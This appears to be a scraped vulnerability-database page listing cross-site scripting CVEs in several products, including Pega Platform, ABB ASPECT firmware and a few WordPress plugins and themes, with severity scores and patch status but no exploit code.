A vulnerability has been found in code-projects Simple CRUD Functionality 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple Crud Functionality
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Pega Platform versions 8.1 to Infinity 24.2.0 are affected by an XSS issue with search. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Infinity
NVD
EPSS 1% CVSS 9.3
CRITICAL POC Act Now

Cross Site Scripting vulnerabilities where found providing a potential for malicious scripts to be injected into a client browser. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Abb XSS Aspect Ent 2 Firmware +18
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM This Month

The WIP WooCarousel Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wip_woocarousel_products_carousel' shortcode in all versions up to, and including, 1.1.6. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Blocksy theme for WordPress is vulnerable to Stored Cross-Site Scripting via the Contact Info Block link parameter in all versions up to, and including, 2.0.77 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Blocksy
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Accounting for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38989

Related CWEs

MITRE ATT&CK

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